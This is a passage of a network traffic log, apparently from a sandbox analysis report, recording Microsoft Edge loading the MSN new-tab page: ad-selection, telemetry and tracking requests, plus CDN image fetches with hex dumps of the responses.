2024-11-26 07:03:49 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2A1C8E46DA6B6D3B073F9B05DB6A6C89&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=cf1d548f0d994800b75454b3836c7a35 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1
2024-11-26 07:03:49 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 07:03:49 GMT Connection: close
2024-11-26 07:03:49 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49805	20.189.173.17	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:49 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732604626690&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3780 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1
2024-11-26 07:03:49 UTC	3780	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 37 3a 30 33 3a 34 36 2e 36 38 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 64 38 38 61 30 31 63 2d 63 33 37 39 2d 34 33 31 63 2d 39 38 37 33 2d 34 65 61 30 63 37 31 35 64 62 34 30 22 2c 22 65 70 6f 63 68 22 3a 22 34 31 38 31 30 38 38 38 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-26T07:03:46.685Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"9d88a01c-c379-431c-9873-4ea0c715db40","epoch":"418108884"},"app":{"locale"
2024-11-26 07:03:49 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5590aea9f3ab4b449bc05501c18268b9&HASH=5590&LV=202411&V=4&LU=1732604629571; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 07:03:49 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a0cf0f7ffb7d405ebf3dbf4b7c291f60; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 07:33:49 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2881 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 07:03:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49807	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:49 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:49 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=194769 Expires: Thu, 28 Nov 2024 13:09:58 GMT Date: Tue, 26 Nov 2024 07:03:49 GMT Connection: close
2024-11-26 07:03:49 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49810	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:49 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:49 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=327208 Expires: Sat, 30 Nov 2024 01:57:17 GMT Date: Tue, 26 Nov 2024 07:03:49 GMT Connection: close
2024-11-26 07:03:49 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49809	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:49 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=212958 Expires: Thu, 28 Nov 2024 18:13:07 GMT Date: Tue, 26 Nov 2024 07:03:49 GMT Connection: close
2024-11-26 07:03:49 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49811	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:49 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:49 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=411888 Expires: Sun, 01 Dec 2024 01:28:37 GMT Date: Tue, 26 Nov 2024 07:03:49 GMT Connection: close
2024-11-26 07:03:49 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49808	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:49 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:49 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=310446 Expires: Fri, 29 Nov 2024 21:17:55 GMT Date: Tue, 26 Nov 2024 07:03:49 GMT Connection: close
2024-11-26 07:03:49 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49812	108.139.47.92	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:49 UTC	1012	OUT	GET /b2?rn=1732604626696&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2A1C8E46DA6B6D3B073F9B05DB6A6C89&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=18Ac1114aa6e81aa7f6a2771732604627; XID=18Ac1114aa6e81aa7f6a2771732604627
2024-11-26 07:03:50 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 26 Nov 2024 07:03:50 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 4d3480855260c7e16c3a1df3eafacee6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: PDPbOioa4PbWsIICwOTgOVvMNDs1XMLefw64Dfw6zE_qntNQ9y60EQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49813	13.107.246.40	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:50 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:50 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:50 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 0fa3f0b7-901e-002d-4291-3febc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T070350Z-174f7845968cdxdrhC1EWRg0en0000000v20000000005d2q Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:03:50 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49815	20.110.205.119	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:50 UTC	1261	OUT	GET /c.gif?rnd=1732604626695&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=82053baee49f42369b25652140a192d8&activityId=82053baee49f42369b25652140a192d8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C940566C29C74FB7AB40D09C74BBC167&MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: 